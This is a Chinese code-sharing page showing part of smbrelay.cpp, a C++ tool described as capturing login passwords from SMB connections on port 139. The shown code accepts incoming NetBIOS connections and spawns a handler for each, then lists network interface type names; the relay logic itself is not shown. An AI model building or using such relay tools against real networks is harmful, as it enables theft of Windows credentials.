⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 smbrelay.cpp

📁 通过监听其他机器上139端口发来的smb连接请求来得到登录密码的程序例子
💻 CPP
📖 第 1 页 / 共 5 页
字号:
		printf("Error %u listening on socket\n", d );
		closesocket(tcpsock);
		return 0;
	}


	signal(SIGBREAK, SignalHandler);
	signal(SIGINT, SignalHandler);
	signal(SIGABRT, SignalHandler);
	signal(SIGFPE, SignalHandler);
	signal(SIGILL, SignalHandler);
	signal(SIGSEGV, SignalHandler);
	signal(SIGTERM, SignalHandler);

	DWORD l = 1;
	ioctlsocket(tcpsock, FIONBIO , &l);

	do
	{
		NEWCONINFO newconinfo;
		int socklen = sizeof(sockaddr);

		do
		{
			if ((inconsock = accept(tcpsock, (LPSOCKADDR)&sockaddr, &socklen)) == INVALID_SOCKET)
			{
				DWORD err = WSAGetLastError();

				if (err != WSAEWOULDBLOCK)
				{
					printf("Error %d receiving incoming NetBIOS connection\n", err);
					g_bQuit = FALSE;
				}
				else
				{
					Sleep(5);
				}
			}
		} while (!g_bQuit && inconsock == INVALID_SOCKET );

		if (!g_bQuit )
		{

			BOOL bDup = FALSE;
			DWORD d;
			for (d = 0; d < ConnectedSize && !bDup; d++)
			{
				if (ConnectedList[d] == sockaddr.sin_addr.s_addr)
					bDup = TRUE;
			}

			if (bDup)
			{
				printf("Connection rejected: %s already connected\n", inet_ntoa(sockaddr.sin_addr));
				closesocket(inconsock);
			}
			else
			{
				printf("Connection from %s:%d\n", inet_ntoa(sockaddr.sin_addr), ntohs(sockaddr.sin_port));

				ConnectedList[ConnectedSize] = sockaddr.sin_addr.s_addr;

				newconinfo.hostcount = ConnectedSize++;

				newconinfo.connectionsock = inconsock;
				memcpy(&newconinfo.sourcesockaddr, &sockaddr, sizeof(SOCKADDR_IN));

				_beginthread(mainconnectionhandler, 0, &newconinfo);

				Sleep(50);
			}
		}

	} while (!g_bQuit );

	closesocket(tcpsock);

	if (g_bAddLocalIP)
	{
		DeleteIPAddress(NTEContext);
		printf("Deleted incoming IP address\n");
	}


	Sleep(400);

	WSACleanup();

	printf("Exiting main\n");

	return 0;
}



const char *GetInterfaceType(DWORD Type)
{
	static char retbuff[32];
	const char *ret = retbuff;

	switch (Type)
	{
	default:
		sprintf(retbuff, "Unknown: %d", Type);
		break;
	case IF_TYPE_OTHER:
		ret = "OTHER";
		break;
	case IF_TYPE_REGULAR_1822:
		ret = "REGULAR 1822";
		break;
	case IF_TYPE_HDH_1822:
		ret = "HDH 1822";
		break;
	case IF_TYPE_DDN_X25:
		ret = "DDN X25";
		break;
	case IF_TYPE_RFC877_X25:
		ret = "RFC877 X25";
		break;
	case IF_TYPE_ETHERNET_CSMACD:
		ret = "ETHERNET CSMACD";
		break;
	case IF_TYPE_IS088023_CSMACD:
		ret = "IS088023 CSMACD";
		break;
	case IF_TYPE_ISO88024_TOKENBUS:
		ret = "ISO88024 TOKENBUS";
		break;
	case IF_TYPE_ISO88025_TOKENRING:
		ret = "ISO88025_TOKENRING";
		break;
	case IF_TYPE_ISO88026_MAN:
		ret = "ISO88026_MAN";
		break;
	case IF_TYPE_STARLAN:
		ret = "STARLAN";
		break;
	case IF_TYPE_PROTEON_10MBIT:
		ret = "PROTEON_10MBIT";
		break;
	case IF_TYPE_PROTEON_80MBIT:
		ret = "PROTEON_80MBIT";
		break;
	case IF_TYPE_HYPERCHANNEL:
		ret = "HYPERCHANNEL";
		break;
	case IF_TYPE_FDDI:
		ret = "FDDI";
		break;
	case IF_TYPE_LAP_B:
		ret = "LAP_B";
		break;
	case IF_TYPE_SDLC:
		ret = "SDLC";
		break;
	case IF_TYPE_DS1:
		ret = "DS1";
		break;
	case IF_TYPE_E1:
		ret = "E1";
		break;
	case IF_TYPE_BASIC_ISDN:
		ret = "BASIC_ISDN";
		break;
	case IF_TYPE_PRIMARY_ISDN:
		ret = "PRIMARY_ISDN";
		break;
	case IF_TYPE_PROP_POINT2POINT_SERIAL:
		ret = "PROP POINT2POINT SERIAL";
		break;
	case IF_TYPE_PPP:
		ret = "PPP";
		break;
	case IF_TYPE_SOFTWARE_LOOPBACK:
		ret = "SOFTWARE LOOPBACK";
		break;
	case IF_TYPE_EON:
		ret = "EON - CLNP over IP";
		break;
	case IF_TYPE_ETHERNET_3MBIT:
		ret = "ETHERNET 3MBIT";
		break;
	case IF_TYPE_NSIP:
		ret = "NSIP - XNS over IP";
		break;
	case IF_TYPE_SLIP:
		ret = "SLIP";
		break;
	case IF_TYPE_ULTRA:
		ret = "ULTRA";
		break;
	case IF_TYPE_DS3:
		ret = "DS3-MIB";
		break;
	case IF_TYPE_SIP:
		ret = "SIP - SMDS, coffee";
		break;
	case IF_TYPE_FRAMERELAY:
		ret = "FRAMERELAY";
		break;
	case IF_TYPE_RS232:
		ret = "RS232";
		break;
	case IF_TYPE_PARA:
		ret = "Parallel port";
		break;
	case IF_TYPE_ARCNET:
		ret = "ARCNET";
		break;
	case IF_TYPE_ARCNET_PLUS:
		ret = "ARCNET_PLUS";
		break;
	case IF_TYPE_ATM:
		ret = "ATM";
		break;
	case IF_TYPE_MIO_X25:
		ret = "MIO_X25";
		break;
	case IF_TYPE_SONET:
		ret = "SONET or SDH";
		break;
	case IF_TYPE_X25_PLE:
		ret = "X25_PLE";
		break;
	case IF_TYPE_ISO88022_LLC:
		ret = "ISO88022_LLC";
		break;
	case IF_TYPE_LOCALTALK:
		ret = "LOCALTALK";
		break;
	case IF_TYPE_SMDS_DXI:
		ret = "SMDS_DXI";
		break;
	case IF_TYPE_FRAMERELAY_SERVICE:
		ret = "FRAMERELAY_SERVICE";
		break;
	case IF_TYPE_V35:
		ret = "V35";
		break;
	case IF_TYPE_HSSI:
		ret = "HSSI";
		break;
	case IF_TYPE_HIPPI:
		ret = "HIPPI";
		break;
	case IF_TYPE_MODEM:
		ret = "MODEM";
		break;
	case IF_TYPE_AAL5:
		ret = "AAL5 over ATM";
		break;
	case IF_TYPE_SONET_PATH:
		ret = "SONET_PATH";
		break;
	case IF_TYPE_SONET_VT:
		ret = "SONET_VT";
		break;
	case IF_TYPE_SMDS_ICIP:
		ret = "SMDS InterCarrier Interface";
		break;
	case IF_TYPE_PROP_VIRTUAL:
		ret = "Proprietary virtual/internal";
		break;
	case IF_TYPE_PROP_MULTIPLEXOR:
		ret = "Proprietary multiplexing";
		break;
	case IF_TYPE_IEEE80212:
		ret = "IEEE80212 - 100BaseVG";
		break;
	case IF_TYPE_FIBRECHANNEL:
		ret = "FIBRECHANNEL";
		break;
	case IF_TYPE_HIPPIINTERFACE:
		ret = "HIPPIINTERFACE";
		break;
	case IF_TYPE_AFLANE_8023:
		ret = "ATM Emulated LAN for 802.3";
		break;
	case IF_TYPE_AFLANE_8025:
		ret = "ATM Emulated LAN for 802.5";
		break;
	case IF_TYPE_CCTEMUL:
		ret = "CCTEMUL - ATM Emulated circuit";
		break;
	case IF_TYPE_FASTETHER:
		ret = "Fast Ethernet (100BaseT)";
		break;
	case IF_TYPE_ISDN:
		ret = "ISDN and X.25";
		break;
	case IF_TYPE_V11:
		ret = "CCITT V.11/X.21";
		break;
	case IF_TYPE_V36:
		ret = "CCITT V.36";
		break;
	case IF_TYPE_G703_64K:
		ret = "CCITT G703 at 64Kbps";
		break;
	case IF_TYPE_G703_2MB:
		ret = "G703_2MB";
		break;
	case IF_TYPE_QLLC:
		ret = "SNA QLLC";
		break;
	case IF_TYPE_FASTETHER_FX:
		ret = "Fast Ethernet (100BaseFX)";
		break;
	case IF_TYPE_CHANNEL:
		ret = "CHANNEL";
		break;
	case IF_TYPE_IEEE80211:
		ret = "IEEE80211 - Radio spread spectrum";
		break;
	case IF_TYPE_IBM370PARCHAN:
		ret = "IBM370PARCHAN - IBM System 360/370 OEMI Channel";
		break;
	case IF_TYPE_ESCON:
		ret = "IBM Enterprise Systems Connection";
		break;
	case IF_TYPE_DLSW:
		ret = "Data Link Switching";
		break;
	case IF_TYPE_ISDN_S:
		ret = "ISDN S/T interface";
		break;
	case IF_TYPE_ISDN_U:
		ret = "ISDN U interface";
		break;
	case IF_TYPE_LAP_D:
		ret = "Link Access Protocol D";
		break;
	case IF_TYPE_IPSWITCH:
		ret = "IP Switching Objects";
		break;
	case IF_TYPE_RSRB:
		ret = "Remote Source Route Bridging";
		break;
	case IF_TYPE_ATM_LOGICAL:
		ret = "ATM Logical Port";
		break;
	case IF_TYPE_DS0:
		ret = "Digital Signal Level 0";
		break;
	case IF_TYPE_DS0_BUNDLE:
		ret = "Group of ds0s on the same ds1";
		break;
	case IF_TYPE_BSC:
		ret = "Bisynchronous Protocol";
		break;
	case IF_TYPE_ASYNC:
		ret = "Asynchronous Protocol";
		break;
	case IF_TYPE_CNR:
		ret = "Combat Net Radio";
		break;
	case IF_TYPE_ISO88025R_DTR:
		ret = "ISO 802.5r DTR";
		break;
	case IF_TYPE_EPLRS:
		ret = "Ext Pos Loc Report Sys";
		break;
	case IF_TYPE_ARAP:
		ret = "Appletalk Remote Access Protocol";
		break;
	case IF_TYPE_PROP_CNLS:
		ret = "Proprietary Connectionless Proto";
		break;
	case IF_TYPE_HOSTPAD:
		ret = "CCITT-ITU X.29 PAD Protocol";
		break;
	case IF_TYPE_TERMPAD:
		ret = "CCITT-ITU X.3 PAD Facility";
		break;
	case IF_TYPE_FRAMERELAY_MPI:
		ret = "Multiproto Interconnect over FR";
		break;
	case IF_TYPE_X213:
		ret = "CCITT-ITU X213";
		break;
	case IF_TYPE_ADSL:
		ret = "Asymmetric Digital Subscrbr Loop";
		break;
	case IF_TYPE_RADSL:
		ret = "Rate-Adapt Digital Subscrbr Loop";
		break;
	case IF_TYPE_SDSL:
		ret = "Symmetric Digital Subscriber Loop";
		break;
	case IF_TYPE_VDSL:
		ret = "Very H-Speed Digital Subscrb Loop";
		break;
	case IF_TYPE_ISO88025_CRFPRINT:
		ret = "ISO 802.5 CRFP";
		break;
	case IF_TYPE_MYRINET:
		ret = "Myricom Myrinet";
		break;
	case IF_TYPE_VOICE_EM:
		ret = "Voice recEive and transMit";
		break;
	case IF_TYPE_VOICE_FXO:
		ret = "Voice Foreign Exchange Office";
		break;
	case IF_TYPE_VOICE_FXS:
		ret = "Voice Foreign Exchange Station";
		break;
	case IF_TYPE_VOICE_ENCAP:
		ret = "Voice encapsulation";
		break;
	case IF_TYPE_VOICE_OVERIP:
		ret = "Voice over IP encapsulation";
		break;
	case IF_TYPE_ATM_DXI:
		ret = "ATM DXI";
		break;
	case IF_TYPE_ATM_FUNI:
		ret = "ATM FUNI";
		break;
	case IF_TYPE_ATM_IMA:
		ret = "ATM IMA";
		break;
	case IF_TYPE_PPPMULTILINKBUNDLE:
		ret = "PPP Multilink Bundle";
		break;
	case IF_TYPE_IPOVER_CDLC:
		ret = "IBM ipOverCdlc";
		break;
	case IF_TYPE_IPOVER_CLAW:
		ret = "IBM Common Link Access to Workstn";
		break;
	case IF_TYPE_STACKTOSTACK:
		ret = "IBM stackToStack";
		break;
	case IF_TYPE_VIRTUALIPADDRESS:
		ret = "IBM VIPA";
		break;
	case IF_TYPE_MPC:
		ret = "IBM multi-proto channel support";
		break;
	case IF_TYPE_IPOVER_ATM:
		ret = "IBM ipOverAtm";
		break;
	case IF_TYPE_ISO88025_FIBER:
		ret = "ISO 802.5j Fiber Token Ring";
		break;
	case IF_TYPE_TDLC:
		ret = "IBM twinaxial data link control";
		break;
	case IF_TYPE_GIGABITETHERNET:
		ret = "GIGABITETHERNET";
		break;
	case IF_TYPE_HDLC:
		ret = "HDLC";
		break;
	case IF_TYPE_LAP_F:
		ret = "LAP_F";
		break;
	case IF_TYPE_V37:
		ret = "V37";
		break;
	case IF_TYPE_X25_MLP:
		ret = "X.25 Multi-Link Protocol";
		break;
	case IF_TYPE_X25_HUNTGROUP:
		ret = "X.25 Hunt Group";
		break;
	case IF_TYPE_TRANSPHDLC:
		ret = "TRANSPHDLC";
		break;
	case IF_TYPE_INTERLEAVE:
		ret = "Interleave channel";
		break;
	case IF_TYPE_FAST:
		ret = "Fast channel";
		break;
	case IF_TYPE_IP:
		ret = "IP (for APPN HPR in IP networks)";
		break;
	case IF_TYPE_DOCSCABLE_MACLAYER:
		ret = "CATV Mac Layer";
		break;
	case IF_TYPE_DOCSCABLE_DOWNSTREAM:
		ret = "CATV Downstream interface";
		break;
	case IF_TYPE_DOCSCABLE_UPSTREAM:
		ret = "CATV Upstream interface";
		break;
	case IF_TYPE_A12MPPSWITCH:
		ret = "Avalon Parallel Processor";
		break;
	case IF_TYPE_TUNNEL:
		ret = "Encapsulation interface";
		break;
	case IF_TYPE_COFFEE:
		ret = "Coffee pot";
		break;
	case IF_TYPE_CES:
		ret = "Circuit Emulation Service";
		break;
	case IF_TYPE_ATM_SUBINTERFACE:
		ret = "ATM Sub Interface";
		break;
	case IF_TYPE_L2_VLAN:
		ret = "Layer 2 Virtual LAN using 802.1Q";
		break;
	case IF_TYPE_L3_IPVLAN:
		ret = "Layer 3 Virtual LAN using IP";
		break;
	case IF_TYPE_L3_IPXVLAN:
		ret = "Layer 3 Virtual LAN using IPX";
		break;
	case IF_TYPE_DIGITALPOWERLINE:
		ret = "IP over Power Lines";
		break;
	case IF_TYPE_MEDIAMAILOVERIP:
		ret = "Multimedia Mail over IP";
		break;
	case IF_TYPE_DTM:
		ret = "Dynamic syncronous Transfer Mode";
		break;
	case IF_TYPE_DCN:
		ret = "Data Communications Network";
		break;
	case IF_TYPE_IPFORWARD:
		ret = "IP Forwarding Interface";
		break;
	case IF_TYPE_MSDSL:
		ret = "Multi-rate Symmetric DSL";
		break;
	case IF_TYPE_IEEE1394:
		ret = "IEEE1394 High Perf Serial Bus";
		break;
	}

	return ret;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -